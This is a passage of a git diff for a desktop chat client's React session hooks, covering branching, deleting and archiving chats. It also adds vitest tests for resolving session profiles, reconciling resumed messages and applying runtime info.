+        await ensureGatewayProfile(profile)
+
+        // No title: the backend auto-names the branch from its parent's lineage.
+        const branched = sourceSessionId
+          ? await requestGateway<SessionCreateResponse>('session.branch', {
+              session_id: sourceSessionId,
+              count: branchMessages.length
+            })
+          : await requestGateway<SessionCreateResponse>('session.create', {
+              cols: 96,
+              source: 'desktop',
+              ...(cwd && { cwd }),
+              ...(profile ? { profile } : {}),
+              messages: branchMessages.map(({ content, role }) => ({ content, role })),
+              ...(parentStoredId && { parent_session_id: parentStoredId })
+            })
+
+        const routedSessionId = branched.stored_session_id ?? branched.session_id
+        const preview = branchMessages.map(({ content }) => content).find(Boolean) ?? null
+        // Draft until submit: nest under the parent at the parent's recency so it
+        // doesn't bubble to the top until a real message lands (backend persists
+        // + auto-names it then). The selected row survives refreshes (sessionsToKeep).
+        const rows = $sessions.get()
+        const parent = parentStoredId ? rows.find(session => sessionMatchesStoredId(session, parentStoredId)) : null
+
+        const siblings = parentStoredId
+          ? rows.filter(session => session.parent_session_id?.trim() === parentStoredId).length
+          : 0
+
+        setFreshDraftReady(false)
+        upsertOptimisticSession(
+          branched,
+          routedSessionId,
+          copy.branchTitle(siblings + 1).toLowerCase(),
+          preview,
+          parentStoredId,
+          parent ? parent.last_active || parent.started_at : undefined
+        )
+        ensureSessionState(branched.session_id, routedSessionId)
+        updateSessionState(
+          branched.session_id,
+          state => ({
+            ...state,
+            messages: branchMessages.map(({ source }) => source),
+            busy: false,
+            awaitingResponse: false
+          }),
+          routedSessionId
+        )
+
+        // The branch opens as its own tile in the parent's worktree, not as the
+        // primary session — keep its runtime out of the main composer atoms.
+        const runtimeInfo = applyRuntimeInfo(branched.info, { foreground: false })
+        patchSessionWorkspace(routedSessionId, runtimeInfo?.cwd)
+
+        if (runtimeInfo) {
+          updateSessionState(branched.session_id, state => ({ ...state, ...runtimeInfo }), routedSessionId)
+        }
+
+        // Open the branch as its own tab and switch to it, leaving the parent
+        // chat exactly where it is. Prime the tile with the create runtime so it
+        // skips a redundant resume. Do NOT select it as the primary session
+        // first — openSessionTile no-ops when the id is already primary.
+        openSessionTile(routedSessionId, 'center')
+        patchSessionTile(routedSessionId, { runtimeId: branched.session_id })
+        revealTreePane(`session-tile:${routedSessionId}`)
+        broadcastSessionsChanged()
+
+        return true
+      } catch (err) {
+        notifyError(err, copy.branchFailed)
+
+        return false
+      } finally {
+        window.setTimeout(() => {
+          creatingSessionRef.current = false
+        }, 0)
+      }
+    },
+    [copy, creatingSessionRef, ensureSessionState, requestGateway, updateSessionState]
+  )
+
+  // Branch the open chat — optionally from a specific message — off its live transcript.
+  const branchCurrentSession = useCallback(
+    async (messageId?: string): Promise<boolean> => {
+      if (!activeSessionIdRef.current) {
+        notify({ kind: 'warning', title: copy.nothingToBranch, message: copy.branchNeedsChat })
+
+        return false
+      }
+
+      if (busyRef.current) {
+        notify({ kind: 'warning', title: copy.sessionBusy, message: copy.branchStopCurrent })
+
+        return false
+      }
+
+      const messages = $messages.get()
+
+      const at = messageId
+        ? messages.findIndex(message => message.id === messageId)
+        : messages.findLastIndex(message => message.role === 'assistant' || message.role === 'user')
+
+      const start = 0
+      const end = at >= 0 ? at + 1 : messages.length
+      const branchMessages = toBranchMessages(messages.slice(start, end))
+
+      if (!branchMessages.length) {
+        notify({ kind: 'warning', title: copy.nothingToBranch, message: copy.branchNoText })
+
+        return false
+      }
+
+      clearNotifications()
+
+      // The open chat's owning profile, NOT the picker's / launch profile —
+      // /profile only retargets new chats, so a branch of an existing thread
+      // must stay on that thread's backend (cache hit for an open session).
+      const profile = await resolveSessionProfile(selectedStoredSessionIdRef.current)
+
+      return forkBranch(
+        branchMessages,
+        activeSessionIdRef.current,
+        selectedStoredSessionIdRef.current,
+        $currentCwd.get().trim(),
+        profile
+      )
+    },
+    [activeSessionIdRef, busyRef, copy, forkBranch, selectedStoredSessionIdRef]
+  )
+
+  // Branch any listed session, not just the open one. Reads the target's stored
+  // transcript directly (no resume/active-session dependency), so it works on
+  // right-click and nests under its parent.
+  const branchStoredSession = useCallback(
+    async (storedSessionId: string, sessionProfile?: string | null): Promise<boolean> => {
+      clearNotifications()
+
+      // Right-clicking a session outside the paginated sidebar window is a cache
+      // miss: resolve it (cache → active backend → cross-profile) so the branch
+      // is created on the parent's OWNING profile, not whichever is live (#67603).
+      const stored =
+        $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId)) ??
+        (sessionProfile ? undefined : await resolveStoredSession(storedSessionId))
+
+      const profile = sessionProfile ?? stored?.profile
+
+      try {
+        await ensureGatewayProfile(profile)
+        const { messages } = await getSessionMessages(storedSessionId, profile)
+        const branchMessages = toBranchMessages(toChatMessages(messages))
+
+        if (!branchMessages.length) {
+          notify({ kind: 'warning', title: copy.nothingToBranch, message: copy.branchNoText })
+
+          return false
+        }
+
+        return await forkBranch(branchMessages, null, stored?.id ?? storedSessionId, stored?.cwd?.trim(), profile)
+      } catch (err) {
+        notifyError(err, copy.branchFailed)
+
+        return false
+      }
+    },
+    [copy, forkBranch]
+  )
+
+  const removeSession = useCallback(
+    async (storedSessionId: string) => {
+      clearNotifications()
+
+      const removed = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
+      const wasSelected = selectedStoredSessionId === storedSessionId
+      const closingRuntimeId = wasSelected ? activeSessionId : null
+      const previousMessages = $messages.get()
+      const previousPinned = $pinnedSessionIds.get()
+      // Pins are keyed on the durable lineage-root id; the stored id may be the
+      // live tip after compression. Drop both so the pin can't linger.
+      const removedPinId = removed ? sessionPinId(removed) : storedSessionId
+      const removedIds = [storedSessionId, removed?.id, removed?._lineage_root_id]
+
+      setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
+      // Evict from the project tree's optimistic layer too (the backend snapshot
+      // still lists it until its next refresh), so grouped + flat views drop the
+      // row in lockstep. Pin the tombstone against the projects.tree prune while
+      // the delete RPC is in flight, so a racing refresh can't flash it back.
+      tombstoneSessions(removedIds)
+      beginSessionMutation(removedIds)
+      $pinnedSessionIds.set(previousPinned.filter(id => id !== storedSessionId && id !== removedPinId))
+
+      // Tear down before awaiting so the route effect can't resume the
+      // doomed session via the stale /<sid> URL.
+      if (wasSelected) {
+        startFreshSessionDraft(true)
+      }
+
+      try {
+        if (closingRuntimeId) {
+          await requestGateway('session.close', { session_id: closingRuntimeId }).catch(() => undefined)
+        }
+
+        await deleteSession(storedSessionId, removed?.profile)
+        clearQueuedPrompts(storedSessionId)
+
+        if (closingRuntimeId) {
+          clearQueuedPrompts(closingRuntimeId)
+        }
+
+        // A tiled copy of this session must not outlive it: collapse the pane
+        // and evict its mirrored runtime state so nothing submits to (or renders)
+        // a deleted session.
+        const tiledRuntimeId = runtimeIdByStoredSessionIdRef.current.get(storedSessionId)
+        closeSessionTile(storedSessionId)
+
+        if (tiledRuntimeId) {
+          runtimeIdByStoredSessionIdRef.current.delete(storedSessionId)
+          sessionStateByRuntimeIdRef.current.delete(tiledRuntimeId)
+          dropSessionState(tiledRuntimeId)
+        }
+      } catch (err) {
+        if (removed) {
+          setSessions(prev => [removed, ...prev])
+        }
+
+        untombstoneSessions(removedIds)
+        $pinnedSessionIds.set(previousPinned)
+
+        if (wasSelected) {
+          setFreshDraftReady(false)
+          setSelectedStoredSessionId(storedSessionId)
+          selectedStoredSessionIdRef.current = storedSessionId
+          const stored = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
+
+          if (stored) {
+            applyStoredUsage(stored)
+          }
+
+          setMessages(previousMessages)
+          navigate(sessionRoute(storedSessionId), { replace: true })
+
+          if (closingRuntimeId) {
+            setActiveSessionId(closingRuntimeId)
+            activeSessionIdRef.current = closingRuntimeId
+          }
+        }
+
+        notifyError(err, copy.deleteFailed)
+      } finally {
+        // Release the tombstone to the normal projects.tree prune now the RPC has
+        // settled (kept on success — the backend has deleted it; cleared on the
+        // rollback above on failure).
+        endSessionMutation(removedIds)
+      }
+    },
+    [
+      activeSessionId,
+      activeSessionIdRef,
+      copy,
+      navigate,
+      requestGateway,
+      runtimeIdByStoredSessionIdRef,
+      selectedStoredSessionId,
+      selectedStoredSessionIdRef,
+      sessionStateByRuntimeIdRef,
+      startFreshSessionDraft
+    ]
+  )
+
+  const archiveSession = useCallback(
+    async (storedSessionId: string) => {
+      clearNotifications()
+
+      const archived = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
+      const wasSelected = selectedStoredSessionId === storedSessionId
+      const previousPinned = $pinnedSessionIds.get()
+      // Pins are keyed on the durable lineage-root id; the stored id may be the
+      // live tip after compression. Drop both so the pin can't linger.
+      const archivedPinId = archived ? sessionPinId(archived) : storedSessionId
+      const archivedIds = [storedSessionId, archived?.id, archived?._lineage_root_id]
+
+      // Soft-hide: drop from the sidebar immediately, keep the data.
+      setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
+      tombstoneSessions(archivedIds)
+      beginSessionMutation(archivedIds)
+      $pinnedSessionIds.set(previousPinned.filter(id => id !== storedSessionId && id !== archivedPinId))
+
+      if (wasSelected) {
+        startFreshSessionDraft(true)
+      }
+
+      try {
+        await setSessionArchived(storedSessionId, true, archived?.profile)
+        // An archived session is hidden from the sidebar; its tile must go too.
+        const tiledRuntimeId = runtimeIdByStoredSessionIdRef.current.get(storedSessionId)
+        closeSessionTile(storedSessionId)
+
+        if (tiledRuntimeId) {
+          runtimeIdByStoredSessionIdRef.current.delete(storedSessionId)
+          sessionStateByRuntimeIdRef.current.delete(tiledRuntimeId)
+          dropSessionState(tiledRuntimeId)
+        }
+
+        notify({ durationMs: 2_000, kind: 'success', message: copy.archived })
+      } catch (err) {
+        if (archived) {
+          setSessions(prev => [archived, ...prev.filter(session => !sessionMatchesStoredId(session, storedSessionId))])
+        }
+
+        untombstoneSessions(archivedIds)
+        $pinnedSessionIds.set(previousPinned)
+        notifyError(err, copy.archiveFailed)
+      } finally {
+        endSessionMutation(archivedIds)
+      }
+    },
+    [copy, runtimeIdByStoredSessionIdRef, selectedStoredSessionId, sessionStateByRuntimeIdRef, startFreshSessionDraft]
+  )
+
+  return {
+    archiveSession,
+    branchCurrentSession,
+    branchStoredSession,
+    closeSettings,
+    createBackendSessionForSend,
+    openNewSessionTile,
+    openSettings,
+    removeSession,
+    resumeSession,
+    selectSidebarItem,
+    startFreshSessionDraft
+  }
+}
diff --git a/ui-desktop/src/app/session/hooks/use-session-actions/resolve-stored-session.test.ts b/ui-desktop/src/app/session/hooks/use-session-actions/resolve-stored-session.test.ts
new file mode 100644
index 000000000..832951971
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-session-actions/resolve-stored-session.test.ts
@@ -0,0 +1,109 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type * as ClawCodexModule from '@/clawcodex'
+import { getSession } from '@/clawcodex'
+import { $activeGatewayProfile, $profiles } from '@/store/profile'
+import { $sessions } from '@/store/session'
+import type { SessionInfo } from '@/types/clawcodex'
+
+import { resolveSessionProfile, resolveStoredSession } from './utils'
+
+vi.mock('@/clawcodex', async importActual => ({
+  ...(await importActual<typeof ClawCodexModule>()),
+  getSession: vi.fn()
+}))
+
+const mockGetSession = vi.mocked(getSession)
+
+const session = (over: Partial<SessionInfo>): SessionInfo => over as SessionInfo
+
+const profiles = (...names: string[]) => names.map(name => ({ name }) as never)
+
+describe('resolveStoredSession profile ownership', () => {
+  beforeEach(() => {
+    $sessions.set([])
+    $profiles.set(profiles('default', 'meta'))
+    $activeGatewayProfile.set('meta')
+    mockGetSession.mockReset()
+  })
+
+  afterEach(() => {
+    $sessions.set([])
+    $profiles.set([])
+    $activeGatewayProfile.set('default')
+  })
+
+  it('returns a cached row that carries an owning profile', async () => {
+    $sessions.set([session({ id: 's1', profile: 'default' })])
+
+    const resolved = await resolveStoredSession('s1')
+
+    expect(resolved?.profile).toBe('default')
+    expect(mockGetSession).not.toHaveBeenCalled()
+  })
+
+  it('treats a profile-less cache hit as unresolved when multiple profiles exist', async () => {
+    $sessions.set([session({ id: 's1' })])
+    mockGetSession.mockRejectedValueOnce(new Error('404: Session not found'))
+    mockGetSession.mockResolvedValueOnce(session({ id: 's1', profile: 'default' }))
+
+    const resolved = await resolveStoredSession('s1')
+
+    expect(resolved?.profile).toBe('default')
+    // rung 2 (bare) then rung 3 (stamped cross-profile probe)
+    expect(mockGetSession).toHaveBeenNthCalledWith(1, 's1')
+    expect(mockGetSession).toHaveBeenNthCalledWith(2, 's1', 'default')
+  })
+
+  it('accepts a profile-less cache hit for single-profile users', async () => {
+    $profiles.set(profiles('default'))
+    $sessions.set([session({ id: 's1' })])
+
+    const resolved = await resolveStoredSession('s1')
+
+    expect(resolved?.id).toBe('s1')
+    expect(mockGetSession).not.toHaveBeenCalled()
+  })
+
+  it('stamps the active profile on a bare by-id hit from an older backend', async () => {
+    mockGetSession.mockResolvedValueOnce(session({ id: 's1' }))
+
+    const resolved = await resolveStoredSession('s1')
+
+    expect(resolved?.profile).toBe('meta')
+    // the upserted cache row is owned too, so the next hit short-circuits
+    expect($sessions.get().find(s => s.id === 's1')?.profile).toBe('meta')
+  })
+
+  it('probed desktop profile overrides a remote backend answering as its own "default"', async () => {
+    // Per-profile remote override: Electron strips the desktop alias before
+    // forwarding, so the standalone backend stamps its backend-local root.
+    mockGetSession.mockRejectedValueOnce(new Error('404: Session not found'))
+    mockGetSession.mockResolvedValueOnce(session({ id: 's1', profile: 'default' }))
+    $activeGatewayProfile.set('default')
+    $profiles.set(profiles('default', 'meta'))
+
+    const resolved = await resolveStoredSession('s1')
+
+    expect(resolved?.profile).toBe('meta')
+    expect($sessions.get().find(s => s.id === 's1')?.profile).toBe('meta')
+  })
+
+  it('stamps the probed profile on a scoped hit from an older backend that omits it', async () => {
+    mockGetSession.mockRejectedValueOnce(new Error('404: Session not found'))
+    mockGetSession.mockResolvedValueOnce(session({ id: 's1' }))
+
+    const resolved = await resolveStoredSession('s1')
+
+    expect(resolved?.profile).toBe('default')
+    // the cached row is owned too — no unowned row is ever re-cached
+    expect($sessions.get().find(s => s.id === 's1')?.profile).toBe('default')
+  })
+
+  it('resolveSessionProfile routes a default-profile session from a non-default gateway', async () => {
+    mockGetSession.mockRejectedValueOnce(new Error('404: Session not found'))
+    mockGetSession.mockResolvedValueOnce(session({ id: 's1', profile: 'default' }))
+
+    await expect(resolveSessionProfile('s1')).resolves.toBe('default')
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-session-actions/resume-structural-parts.test.ts b/ui-desktop/src/app/session/hooks/use-session-actions/resume-structural-parts.test.ts
new file mode 100644
index 000000000..2dff424a9
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-session-actions/resume-structural-parts.test.ts
@@ -0,0 +1,142 @@
+import { describe, expect, it } from 'vitest'
+
+import type { ChatMessage } from '@/lib/chat-messages'
+
+import { reconcileResumeMessages } from './utils'
+
+const user = (id: string, text: string): ChatMessage => ({
+  id,
+  parts: [{ type: 'text', text }],
+  role: 'user'
+})
+
+/**
+ * Switching away from a running session and back re-hydrates it from
+ * `session.activate`, whose transcript is TEXT-ONLY for the live turn (the
+ * gateway's `inflight` projection carries `user`/`assistant` strings, nothing
+ * structural). The renderer's cached state is the only carrier of the turn's
+ * tool calls and reasoning, so reconcile must not drop them.
+ */
+describe('reconcileResumeMessages — structural parts on a mid-turn switch', () => {
+  it('keeps tool-call parts the authoritative text-only row cannot carry', () => {
+    const cached: ChatMessage[] = [
+      user('u1', 'read the config'),
+      {
+        id: 'a1',
+        parts: [
+          { type: 'reasoning', text: 'I should read the file first.' },
+          { type: 'tool-call', toolCallId: 'call-1', toolName: 'read_file', result: 'contents' },
+          { type: 'text', text: 'Reading it now' }
+        ],
+        role: 'assistant'
+      }
+    ]
+
+    // What activate returns mid-turn: the same rows, but flattened to text and
+    // one delta further along, so the text no longer matches the cached copy.
+    const authoritative: ChatMessage[] = [
+      user('u1', 'read the config'),
+      { id: 'a1', parts: [{ type: 'text', text: 'Reading it now — found the key' }], role: 'assistant' }
+    ]
+
+    const [, assistant] = reconcileResumeMessages(authoritative, cached)
+
+    expect(assistant.parts.filter(p => p.type === 'tool-call')).toHaveLength(1)
+    expect(assistant.parts.filter(p => p.type === 'reasoning')).toHaveLength(1)
+    // The newer authoritative text still wins.
+    expect(assistant.parts.filter(p => p.type === 'text').at(-1)).toMatchObject({
+      text: 'Reading it now — found the key'
+    })
+  })
+
+  it('does not duplicate tool calls the authoritative row already carries', () => {
+    const cached: ChatMessage[] = [
+      {
+        id: 'a1',
+        parts: [{ type: 'tool-call', toolCallId: 'call-1', toolName: 'read_file', result: 'contents' }],
+        role: 'assistant'
+      }
+    ]
+
+    const authoritative: ChatMessage[] = [
+      {
+        id: 'a1',
+        parts: [
+          { type: 'tool-call', toolCallId: 'call-1', toolName: 'read_file', result: 'contents' },
+          { type: 'text', text: 'done' }
+        ],
+        role: 'assistant'
+      }
+    ]
+
+    const [assistant] = reconcileResumeMessages(authoritative, cached)
+
+    expect(assistant.parts.filter(p => p.type === 'tool-call')).toHaveLength(1)
+  })
+
+  it('keeps live-tail structure when the flat dump is not a strict text extension', () => {
+    // Mid-turn sandwich path: cache holds reasoning/tools; resume returns a
+    // longer non-extending dump. Structure source must be live-tail.
+    const cached: ChatMessage[] = [
+      {
+        id: 'assistant-stream-1',
+        pending: true,
+        parts: [
+          { type: 'reasoning', text: 'thinking about tools' },
+          { type: 'tool-call', toolCallId: 'c1', toolName: 'terminal', args: {} },
+          { type: 'text', text: 'partial' }
+        ],
+        role: 'assistant'
+      }
+    ]
+
+    const authoritative: ChatMessage[] = [
+      {
+        id: 'assistant-stream-1',
+        pending: true,
+        parts: [{ type: 'text', text: 'thinking about tools\nRan terminal\npartial and more dump' }],
+        role: 'assistant'
+      }
+    ]
+
+    const [assistant] = reconcileResumeMessages(authoritative, cached)
+
+    expect(assistant.parts.some(part => part.type === 'reasoning')).toBe(true)
+    expect(assistant.parts.some(part => part.type === 'tool-call')).toBe(true)
+    expect(assistant.parts.filter(part => part.type === 'text').map(part => ('text' in part ? part.text : ''))).toEqual(
+      ['partial']
+    )
+  })
+
+  it('does not graft historical structure onto a live text-only row after compression rewrote ordinals', () => {
+    // Previous cache still has a completed structured assistant at ordinal 0.
+    // Resume after compression returns a new live text-only assistant at the
+    // same role ordinal for an unrelated turn — must not inherit foreign parts.
+    const cached: ChatMessage[] = [
+      {
+        id: 'old-assistant',
+        parts: [
+          { type: 'reasoning', text: 'old thinking' },
+          { type: 'tool-call', toolCallId: 'old-call', toolName: 'terminal', args: {} },
+          { type: 'text', text: 'old answer' }
+        ],
+        role: 'assistant'
+      }
+    ]
+
+    const authoritative: ChatMessage[] = [
+      {
+        id: 'assistant-stream-runtime-1',
+        pending: true,
+        parts: [{ type: 'text', text: 'brand new partial' }],
+        role: 'assistant'
+      }
+    ]
+
+    const [assistant] = reconcileResumeMessages(authoritative, cached)
+
+    expect(assistant.parts.some(part => part.type === 'reasoning')).toBe(false)
+    expect(assistant.parts.some(part => part.type === 'tool-call')).toBe(false)
+    expect(assistant.parts).toEqual([{ type: 'text', text: 'brand new partial' }])
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-session-actions/utils.test.ts b/ui-desktop/src/app/session/hooks/use-session-actions/utils.test.ts
new file mode 100644
index 000000000..2ff5971fd
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-session-actions/utils.test.ts
@@ -0,0 +1,1289 @@
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+
+import { textWithoutReferenceLines, WIRE_REFERENCE_KINDS } from '@/components/assistant-ui/reference-kinds'
+import { type ChatMessage, type ChatMessagePart, chatMessageText } from '@/lib/chat-messages'
+import { $approvalModes, approvalModeForProfile } from '@/store/approval-mode'
+import { $desktopOnboarding } from '@/store/onboarding'
+import { $activeGatewayProfile } from '@/store/profile'
+import {
+  $currentBranch,
+  $currentCwd,
+  setCurrentBranch,
+  setCurrentCwd,
+  setSelectedStoredSessionId,
+  workspaceCwdBelongsToSelectedSession
+} from '@/store/session'
+import type { SessionInfo } from '@/types/clawcodex'
+
+import {
+  appendLiveSessionProjection,
+  applyRuntimeInfo,
+  applyStoredSessionPreviewRuntimeInfo,
+  chatMessageArraysEquivalent,
+  chatMessagesEquivalent,
+  chatPartsEquivalent,
+  isSessionGoneError,
+  preserveLocalPendingTurnMessages,
+  reconcileResumeMessages,
+  sessionMatchesStoredId,
+  sessionShouldHaveTranscript,
+  toBranchMessages
+} from './utils'
+
+const msg = (id: string, role: ChatMessage['role'], text: string, extra: Partial<ChatMessage> = {}): ChatMessage =>
+  ({ id, role, parts: [{ type: 'text', text }], ...extra }) as ChatMessage
+
+// A live assistant row carrying the structure the gateway's text-only inflight
+// snapshot cannot: reasoning and tool calls, with or without any text yet.
+const streamingMsg = (id: string, text: string, extra: Partial<ChatMessage> = {}): ChatMessage =>
+  ({
+    id,
+    role: 'assistant',
+    parts: [
+      { type: 'reasoning', text: 'planning' },
+      { type: 'tool-call', toolCallId: 'call-1', toolName: 'terminal', result: 'done' },
+      ...(text ? [{ type: 'text', text } as ChatMessagePart] : [])
+    ],
+    pending: true,
+    ...extra
+  }) as ChatMessage
+
+const session = (over: Partial<SessionInfo>): SessionInfo => over as SessionInfo
+
+describe('applyRuntimeInfo approval mode', () => {
+  beforeEach(() => {
+    $approvalModes.set({})
+    $activeGatewayProfile.set('work')
+  })
+
+  it('reconciles session.info against the gateway profile', () => {
+    applyRuntimeInfo({ approval_mode: 'smart', desktop_contract: 3 })
+
+    expect(approvalModeForProfile('work')).toBe('smart')
+    expect(approvalModeForProfile('default')).toBe('smart')
+  })
+})
+
+const initialOnboardingState = $desktopOnboarding.get()
+
+describe('applyRuntimeInfo credential warnings', () => {
+  beforeEach(() => {
+    $desktopOnboarding.set({ ...initialOnboardingState, reason: null, requested: false })
+  })
+
+  afterEach(() => {
+    $desktopOnboarding.set(initialOnboardingState)
+  })
+
+  it('requests setup for the exact empty-key warning returned by the server', () => {
+    const warning = "No API key configured for provider 'openrouter'. First message will fail."
+
+    applyRuntimeInfo({ credential_warning: warning })
+
+    expect($desktopOnboarding.get()).toMatchObject({ reason: warning, requested: true })
+  })
+
+  it('ignores an auxiliary-provider warning', () => {
+    applyRuntimeInfo({ credential_warning: 'OPENROUTER_API_KEY not set' })
+
+    expect($desktopOnboarding.get()).toMatchObject({ reason: null, requested: false })
+  })
+})
+
+describe('applyRuntimeInfo foreground scoping', () => {
+  beforeEach(() => {
+    setCurrentCwd('/main-repo')
+    setCurrentBranch('main')
+  })
+
+  afterEach(() => {
+    setCurrentCwd('')
+    setCurrentBranch('')
+  })
+
+  it('publishes a foreground runtime into the composer atoms', () => {
+    const patch = applyRuntimeInfo({ branch: 'bb/feature', cwd: '/main-repo/worktree' })
+
+    expect($currentCwd.get()).toBe('/main-repo/worktree')
+    expect($currentBranch.get()).toBe('bb/feature')
+    expect(patch).toMatchObject({ branch: 'bb/feature', cwd: '/main-repo/worktree' })
+  })
+
+  it('keeps a background runtime out of the composer atoms but still returns its patch', () => {
+    const patch = applyRuntimeInfo({ branch: 'bb/tile', cwd: '/other-worktree' }, { foreground: false })
+
+    // The main pane's rail must stay on its own tree.
+    expect($currentCwd.get()).toBe('/main-repo')
+    expect($currentBranch.get()).toBe('main')
+    // ...while the caller still gets everything it needs for its own session.
+    expect(patch).toMatchObject({ branch: 'bb/tile', cwd: '/other-worktree' })
+  })
+
+  // #71254: `if (info.cwd)` treated '' as "no opinion", so a detached session
+  // never released the previous project and the Files pane stayed on it forever.
+  it('treats an empty runtime cwd as authoritative and releases ownership', () => {
+    setSelectedStoredSessionId('session-detached')
+    const patch = applyRuntimeInfo({ cwd: '' })
+
+    expect(patch).toMatchObject({ cwd: '' })
+    expect(workspaceCwdBelongsToSelectedSession()).toBe(false)
+  })
+
+  // The release must NOT blank the path: setCurrentCwd persists, so writing ''
+  // would also wipe the remembered workspace that seeds $currentCwd on boot.
+  it('leaves the path in place when releasing, so panes do not collapse', () => {
+    setSelectedStoredSessionId('session-detached')
+    applyRuntimeInfo({ cwd: '' })
+
+    expect($currentCwd.get()).toBe('/main-repo')
+  })
+
+  it('claims ownership for the selected session when a real cwd arrives', () => {
+    setSelectedStoredSessionId('session-b')
+    applyRuntimeInfo({ cwd: '/project-b' })
+
+    expect($currentCwd.get()).toBe('/project-b')
+    expect(workspaceCwdBelongsToSelectedSession()).toBe(true)
+  })
+})
+
+describe('applyStoredSessionPreviewRuntimeInfo workspace paint', () => {
+  beforeEach(() => {
+    setCurrentCwd('/previous-project')
+    setSelectedStoredSessionId(null)
+  })
+
+  afterEach(() => {
+    setCurrentCwd('')
+    setSelectedStoredSessionId(null)
+  })
+
+  // The core of the report: cold resume paints before session.resume returns.
+  it('rebinds the workspace from the selected session row before resume settles', () => {
+    applyStoredSessionPreviewRuntimeInfo({ cwd: '/next-project', model: 'gpt' }, 'session-next')
+    setSelectedStoredSessionId('session-next')
+
+    expect($currentCwd.get()).toBe('/next-project')
+    expect(workspaceCwdBelongsToSelectedSession()).toBe(true)
+  })
+
+  it('releases ownership when the selected session row reports no workspace', () => {
+    applyStoredSessionPreviewRuntimeInfo({ cwd: '', model: 'gpt' }, 'session-detached')
+    setSelectedStoredSessionId('session-detached')
+
+    expect(workspaceCwdBelongsToSelectedSession()).toBe(false)
+  })
+
+  // Regression guard: a session outside the loaded sidebar page has no row at
+  // all. Blanking $currentCwd here would drop file-tree state on every switch
+  // into older history, so the path must survive and ownership carry the signal.
+  it('does not blank the pane when the session row is not loaded', () => {
+    applyStoredSessionPreviewRuntimeInfo(undefined, 'session-off-page')
+    setSelectedStoredSessionId('session-off-page')
+
+    expect($currentCwd.get()).toBe('/previous-project')
+    expect(workspaceCwdBelongsToSelectedSession()).toBe(false)
+  })
+
+  // Regression guard: git_repo_root is documented null for non-git workspaces
+  // and not-yet-backfilled rows, so it must never stand in for a real cwd —
+  // doing so reads as "no workspace" and blanks a pane that was correct.
+  it('uses the row cwd for a non-git workspace with no repo root', () => {
+    applyStoredSessionPreviewRuntimeInfo(
+      { cwd: '/plain/folder', git_repo_root: null, model: 'gpt' } as never,
+      'session-nongit'
+    )
+    setSelectedStoredSessionId('session-nongit')
+
+    expect($currentCwd.get()).toBe('/plain/folder')
+    expect(workspaceCwdBelongsToSelectedSession()).toBe(true)
+  })
+
+  it('clears the branch label so the previous project does not leak across a switch', () => {
+    setCurrentBranch('bb/previous')
+    applyStoredSessionPreviewRuntimeInfo({ cwd: '/next-project', model: 'gpt' }, 'session-next')
+
+    expect($currentBranch.get()).toBe('')
+  })
+})
+
+describe('isSessionGoneError', () => {
+  it('is true for 404 / session-not-found, false otherwise', () => {
+    expect(isSessionGoneError(new Error('Request failed 404'))).toBe(true)
+    expect(isSessionGoneError(new Error('Session not found'))).toBe(true)
+    expect(isSessionGoneError(new Error('ECONNREFUSED'))).toBe(false)
+    expect(isSessionGoneError(null)).toBe(false)
+  })
+})
+
+describe('sessionMatchesStoredId', () => {
+  it('matches on live id or lineage root', () => {
+    expect(sessionMatchesStoredId(session({ id: 'a' }), 'a')).toBe(true)
+    expect(sessionMatchesStoredId(session({ id: 'live', _lineage_root_id: 'root' }), 'root')).toBe(true)
+    expect(sessionMatchesStoredId(session({ id: 'a' }), 'b')).toBe(false)
+  })
+})
+
+describe('sessionShouldHaveTranscript', () => {
+  it('is true only when the session has messages', () => {
+    expect(sessionShouldHaveTranscript(session({ message_count: 3 }))).toBe(true)
+    expect(sessionShouldHaveTranscript(session({ message_count: 0 }))).toBe(false)
+    expect(sessionShouldHaveTranscript(undefined)).toBe(false)
+  })
+})
+
+describe('toBranchMessages', () => {
+  it('keeps only user/assistant turns that carry text', () => {
+    const out = toBranchMessages([
+      msg('u', 'user', 'hi'),
+      msg('blank', 'assistant', '   '),
+      msg('sys', 'system', 'ignored'),
+      msg('a', 'assistant', 'hello')
+    ])
+
+    expect(out.map(b => b.source.id)).toEqual(['u', 'a'])
+    expect(out[0]).toMatchObject({ content: 'hi', role: 'user' })
+  })
+})
+
+describe('chatPartsEquivalent', () => {
+  it('returns true for identical text parts', () => {
+    const partA = { type: 'text' as const, text: 'Hello world' }
+    const partB = { type: 'text' as const, text: 'Hello world' }
+
+    expect(chatPartsEquivalent(partA, partB)).toBe(true)
+  })
+
+  it('returns false for text parts with different content', () => {
+    const partA = { type: 'text' as const, text: 'Hello' }
+    const partB = { type: 'text' as const, text: 'World' }
+
+    expect(chatPartsEquivalent(partA, partB)).toBe(false)
+  })
+
+  it('returns true for identical reasoning parts', () => {
+    const partA = { type: 'reasoning' as const, text: 'Thinking...' }
+    const partB = { type: 'reasoning' as const, text: 'Thinking...' }
+
+    expect(chatPartsEquivalent(partA, partB)).toBe(true)
+  })
+
+  it('returns true for tool-call parts with same identity and both have no result', () => {
+    const partA = {
+      type: 'tool-call' as const,
+      toolCallId: 'tc-1',
+      toolName: 'read_file',
+      args: {} as never,
+      argsText: '{}'
+    }
+
+    const partB = {
+      type: 'tool-call' as const,
+      toolCallId: 'tc-1',
+      toolName: 'read_file',
+      args: {} as never,
+      argsText: '{}'
+    }
+
+    expect(chatPartsEquivalent(partA, partB)).toBe(true)
+  })
+
+  it('returns true for tool-call parts with same identity and both have results', () => {
+    const partA = {
+      type: 'tool-call' as const,
+      toolCallId: 'tc-1',
+      toolName: 'read_file',
+      args: {} as never,
+      argsText: '{}',
+      result: { content: 'file data' },
+      isError: false
+    }
+
+    const partB = {
+      type: 'tool-call' as const,
+      toolCallId: 'tc-1',
+      toolName: 'read_file',
+      args: {} as never,
+      argsText: '{}',
+      result: { content: 'file data' },
+      isError: false
+    }
+
+    expect(chatPartsEquivalent(partA, partB)).toBe(true)
+  })
